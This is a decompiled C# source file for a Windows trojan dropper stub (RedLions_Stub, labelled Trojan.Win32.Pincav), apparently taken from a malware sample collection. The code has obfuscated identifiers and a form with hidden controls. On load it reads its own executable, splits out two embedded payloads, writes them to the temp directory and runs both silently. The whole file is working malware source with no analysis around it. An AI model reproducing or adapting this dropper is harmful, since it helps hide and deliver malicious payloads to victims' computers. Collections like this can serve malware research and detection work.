MalwareSourceCode/MSIL/Trojan/Win32/P/Trojan.Win32.Pincav.cmfl-3fa99ddd788dbbe91390f940f247e68ee6ef463b9a024c2781a0267f9ccc9501/RedLions_Stub/Form1.cs
2022-08-18 06:28:56 -05:00

288 lines
11 KiB
C#

// Decompiled with JetBrains decompiler
// Type: RedLions_Stub.Form1
// Assembly: Random, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 29923E1C-4A06-46C3-B41C-690DFD9D7396
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Pincav.cmfl-3fa99ddd788dbbe91390f940f247e68ee6ef463b9a024c2781a0267f9ccc9501.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Runtime.CompilerServices;
using System.Windows.Forms;
namespace RedLions_Stub
{
[DesignerGenerated]
public class Form1 : Form
{
private IContainer \u0002;
[AccessedThroughProperty("PictureBox1")]
private PictureBox \u0003;
[AccessedThroughProperty("TextBox1")]
private TextBox \u0005;
[AccessedThroughProperty("PictureBox2")]
private PictureBox \u0008;
[AccessedThroughProperty("PictureBox3")]
private PictureBox \u0006;
[DebuggerNonUserCode]
public Form1()
{
this.Load += new EventHandler(this.\u0002);
this.\u0002();
}
[DebuggerNonUserCode]
protected override void Dispose(bool disposing)
{
try
{
if (!disposing || this.\u0002 == null)
return;
this.\u0002.Dispose();
}
finally
{
base.Dispose(disposing);
}
}
[DebuggerStepThrough]
private void \u0002()
{
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (Form1));
this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002(new PictureBox());
this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002(new TextBox());
this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0003(new PictureBox());
this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0005(new PictureBox());
((ISupportInitialize) this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002()).BeginInit();
((ISupportInitialize) this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0003()).BeginInit();
((ISupportInitialize) this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0005()).BeginInit();
this.SuspendLayout();
this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002().Image = (Image) componentResourceManager.GetObject(\u0002\u2000.\u0002(-1045613769));
PictureBox pictureBox1 = this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002();
Point point1 = new Point(0, 0);
Point point2 = point1;
pictureBox1.Location = point2;
this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002().Name = \u0002\u2000.\u0002(-1045613617);
PictureBox pictureBox2 = this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002();
Size size1 = new Size(100, 50);
Size size2 = size1;
pictureBox2.Size = size2;
this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002().TabIndex = 0;
this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002().TabStop = false;
this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002().Visible = false;
TextBox textBox1 = this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002();
point1 = new Point(0, 0);
Point point3 = point1;
textBox1.Location = point3;
this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002().Name = \u0002\u2000.\u0002(-1045613607);
TextBox textBox2 = this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002();
size1 = new Size(100, 20);
Size size3 = size1;
textBox2.Size = size3;
this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002().TabIndex = 1;
this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0003().Image = (Image) componentResourceManager.GetObject(\u0002\u2000.\u0002(-1045613586));
PictureBox pictureBox3 = this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0003();
point1 = new Point(8, 8);
Point point4 = point1;
pictureBox3.Location = point4;
this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0003().Name = \u0002\u2000.\u0002(-1045613690);
PictureBox pictureBox4 = this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0003();
size1 = new Size(100, 50);
Size size4 = size1;
pictureBox4.Size = size4;
this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0003().TabIndex = 2;
this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0003().TabStop = false;
this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0003().Visible = false;
this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0005().Image = (Image) componentResourceManager.GetObject(\u0002\u2000.\u0002(-1045613680));
PictureBox pictureBox5 = this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0005();
point1 = new Point(183, 186);
Point point5 = point1;
pictureBox5.Location = point5;
this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0005().Name = \u0002\u2000.\u0002(-1045613656);
PictureBox pictureBox6 = this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0005();
size1 = new Size(100, 50);
Size size5 = size1;
pictureBox6.Size = size5;
this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0005().TabIndex = 3;
this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0005().TabStop = false;
this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0005().Visible = false;
this.AutoScaleDimensions = new SizeF(6f, 13f);
this.AutoScaleMode = AutoScaleMode.Font;
size1 = new Size(284, 262);
this.ClientSize = size1;
this.Controls.Add((Control) this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0005());
this.Controls.Add((Control) this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0003());
this.Controls.Add((Control) this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002());
this.Controls.Add((Control) this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002());
this.Name = \u0002\u2000.\u0002(-1045613638);
this.Text = \u0002\u2000.\u0002(-1045613638);
((ISupportInitialize) this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002()).EndInit();
((ISupportInitialize) this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0003()).EndInit();
((ISupportInitialize) this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0005()).EndInit();
this.ResumeLayout(false);
this.PerformLayout();
}
[DebuggerNonUserCode]
internal virtual PictureBox nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002() => this.\u0003;
[DebuggerNonUserCode]
[MethodImpl(MethodImplOptions.Synchronized)]
internal virtual void nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002(
PictureBox _param1)
{
this.\u0003 = _param1;
}
[DebuggerNonUserCode]
internal virtual TextBox nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002() => this.\u0005;
[DebuggerNonUserCode]
[MethodImpl(MethodImplOptions.Synchronized)]
internal virtual void nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002(TextBox _param1) => this.\u0005 = _param1;
[DebuggerNonUserCode]
internal virtual PictureBox nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0003() => this.\u0008;
[DebuggerNonUserCode]
[MethodImpl(MethodImplOptions.Synchronized)]
internal virtual void nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0003(
PictureBox _param1)
{
this.\u0008 = _param1;
}
[DebuggerNonUserCode]
internal virtual PictureBox nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0005() => this.\u0006;
[DebuggerNonUserCode]
[MethodImpl(MethodImplOptions.Synchronized)]
internal virtual void nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0005(
PictureBox _param1)
{
this.\u0006 = _param1;
}
private void \u0002(object _param1, EventArgs _param2)
{
label_0:
int num1;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = -2;
label_1:
int num3 = 2;
string tempPath = Path.GetTempPath();
label_2:
num3 = 3;
FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared);
label_3:
num3 = 4;
string Expression = Strings.Space(checked ((int) FileSystem.LOF(1)));
label_4:
num3 = 5;
FileSystem.FileGet(1, ref Expression);
label_5:
num3 = 6;
FileSystem.FileClose(1);
label_6:
num3 = 7;
string[] strArray = Strings.Split(Expression, \u0002\u2000.\u0002(-1045614002));
label_7:
num3 = 8;
FileSystem.FileOpen(3, tempPath + strArray[3], OpenMode.Binary, OpenAccess.ReadWrite);
label_8:
num3 = 9;
FileSystem.FilePut(3, strArray[1], -1L, false);
label_9:
num3 = 10;
FileSystem.FileClose(3);
label_10:
num3 = 11;
FileSystem.FileOpen(5, tempPath + strArray[4], OpenMode.Binary, OpenAccess.ReadWrite);
label_11:
num3 = 12;
FileSystem.FilePut(5, strArray[2], -1L, false);
label_12:
num3 = 13;
FileSystem.FileClose(5);
label_13:
num3 = 14;
Process.Start(tempPath + strArray[3]);
label_14:
num3 = 15;
Process.Start(tempPath + strArray[4]);
label_15:
num3 = 16;
this.Close();
ProjectData.EndApp();
goto label_22;
label_17:
num2 = num3;
switch (num1 > -2 ? num1 : 1)
{
case 1:
int num4 = num2 + 1;
num2 = 0;
switch (num4)
{
case 1:
goto label_0;
case 2:
goto label_1;
case 3:
goto label_2;
case 4:
goto label_3;
case 5:
goto label_4;
case 6:
goto label_5;
case 7:
goto label_6;
case 8:
goto label_7;
case 9:
goto label_8;
case 10:
goto label_9;
case 11:
goto label_10;
case 12:
goto label_11;
case 13:
goto label_12;
case 14:
goto label_13;
case 15:
goto label_14;
case 16:
goto label_15;
case 17:
goto label_22;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_17;
}
throw ProjectData.CreateProjectError(-2146828237);
label_22:
if (num2 == 0)
return;
ProjectData.ClearProjectError();
}
}
}